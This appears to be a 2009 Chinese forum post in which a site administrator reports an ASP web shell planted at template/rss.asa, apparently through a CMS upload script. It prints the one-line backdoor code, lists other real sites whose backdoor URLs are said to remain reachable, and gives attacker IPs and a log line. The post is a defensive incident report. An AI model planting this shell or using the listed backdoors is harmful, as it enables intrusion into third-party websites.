官方原谅下，早上发消息等了半天没等到人

貌似又出问题了。

早上查ftp查出一句话template/rss.asa

内容：image/<%execute request("#")%>1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

上一次是9月12日出现过这个文件

用了上次hack搜索方法访问了一些网站的template/rss.asa，发现很多都中招了，官方http://www.fjzsjc.com/被人挂马了都,http://www.fjzsjc.com/template/rss.asa后门都还留着

看日记感觉是tag.asp这个文件出问题

------快快查下吧，各位，估计又有很多人的遭殃了----

个人采取的措施：

更新完后

Admin\Include\UpFileSave.asp这个暂时备份到本地，删除（感觉这个文件嫌疑最大）

另在虚拟机控制面板将网站写权限暂时去掉，觉得他们貌似可以构造数据包将权限写进任意目录

将网站日记存档...

等待官方测试结果......

---------------------------------

To 挂马者：国庆，用得着这样庆祝吗?

又看了下日记plus/tags.asp貌似可以排除

每次都是admin/include/upfilesave.asp POST后然后出了rss.asa

不知道是不是这个文件出问题了....

发几张图片为证吧，YY 他们应该是这几天先取得shell，为日后挂马做准备的

以下是在某站日记看到的

一下几张是上面那些站点，建立rss.asa时间的截图，貌似正马不停蹄的拿shell

下面是攻击者访问日记:

........

有几个被偶清理掉了

给一生有你看得，本人对脚本有点兴趣，一下是早上搜索到的，估计远远超过这些

追一

挖掘:
http://www.ncstar.com.cn/template/rss.asa

攻击这的
ip:218.13.33.136 尝试注入
  222.245.208.83 访问后门 ：湖南省怀化市 电信
  222.245.216.244 湖南省怀化市 电信

2009-09-28 17:28:51 W3SVC36 115.47.235.226 POST /Template/rss.asa - 80 - 222.245.216.244 - 200 0 0 348

--------
追二
http://www.szvup.com/template/rss.asa

http://www.china-report.com.cn/template/rss.asa

plus/tags.asp 估计是这个有问题，偶正在找日记